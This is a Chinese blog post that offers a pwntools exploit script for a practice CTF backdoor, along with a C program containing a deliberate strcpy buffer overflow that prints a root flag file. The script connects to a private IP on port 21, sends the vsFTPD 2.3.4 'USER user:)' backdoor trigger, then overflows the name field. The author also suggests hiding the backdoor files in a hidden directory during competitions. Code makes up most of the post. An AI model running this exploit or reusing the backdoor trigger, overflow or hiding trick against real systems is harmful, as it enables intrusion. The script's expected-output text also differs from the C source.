版权声明:转载声明来源,请勿用于商业用途! https://blog.csdn.net/qq_27180763/article/details/84259215
由于最近有人问我要上次后门的exp,所以我今天就写了一份。
使用了python中的pwn模块。没有的小伙伴们可以使用命令安装一下
pip install pwn
主要思路还是根据后门返回结果来写。使用remote函数来连接后门,具体操作和南邮CTF的PWN题的exp也差不多,只是多了些返回结果而已。需要多做一些操作。我写顺便放出getflag.c的源码,以便各位测试使用。
getflag.c
#include <stdio.h>
struct Student {
char name[8];
char birth[4];
};
int main(int argc,char* argv[]) {
struct Student student;
strcpy(student.birth,argv[1]);
if (strcmp(student.birth,"1926")==0) {
printf("You Cannot Born In 1926!\n");
return 0;
}
strcpy(student.name,argv[2]);
if (strcmp(student.birth,"1926")==0) {
printf("THE FLAG INFO:\n");
system("cat /root/flag.txt");
} else {
printf("YOUR ARE LOWER!!!\n");
}
return 0;
}
望南邮大佬海涵PWN 1926题==虽然当时和他们交流过想要仿照着出一道题,但是久久未得回应,所以便用了Python和C结合着写了一个玩玩。(虽然是50分的题,,,但是作为练习还是很不错的。)
exp
#!/usr/bin/env python
#coding=utf-8
from pwn import *
payload = 'a'*8+"1926"
a = remote("192.168.113.29",'21')
print a.recvuntil("vsFTPD 2.3.4\r\n")
a.sendline("USER user:)")
print a.recvuntil("331 Please specify the password.\n")
a.sendline("PASS pass:)")
print a.recvuntil("\n\nplease read the c Code Underside!\n\n\n")
print a.recvuntil('#include <stdio.h>\nstruct Student {\nchar name[8];\nchar birth[4];\n};\n\nint main(int argc,char* argv[]) {\nstruct Student student;\nstrcpy(student.birth,argv[1]);\nif (student.birth == "1926") {\nprintf("You Cannot Born In 1926!\n");\nreturn 0;\n}\nstrcpy(student.name,argv[2]);\nif (strcmp(student.birth,"1926")==0) {\nprintf("THE FLAG INFO:\n");\nsystem("cat /root/flag.txt");\n} else {\nprintf("YOUR ARE LOWER!!!\n");\n}\nreturn 0;\n}\n')
print a.recvuntil("\n\nPlease INPUT your birth!\n")
a.sendline('1234')
print a.recvuntil("\n\nPlease INPUT your name!\n")
a.sendline(payload)
a.interactive()
都是根据Python脚本的输出结果来进行接受。再nc中由于16进制数会被转义,我这里特地在C程序中将birth的数据类型从int改成了char*。。这样就减少了题目难度,否则payload需要改成
payload = ‘a’* 8 + p32(1926);
执行结果
直接把python脚本和C脚本放在同一个目录下就好了,可以设置隐藏目录。若比赛有对端口的限制,可以更改.c源码,重新使用gcc编译或者直接删除编译生成的ELF程序。
exp执行结果:
上一篇文章传送门:https://blog.csdn.net/qq_27180763/article/details/83888395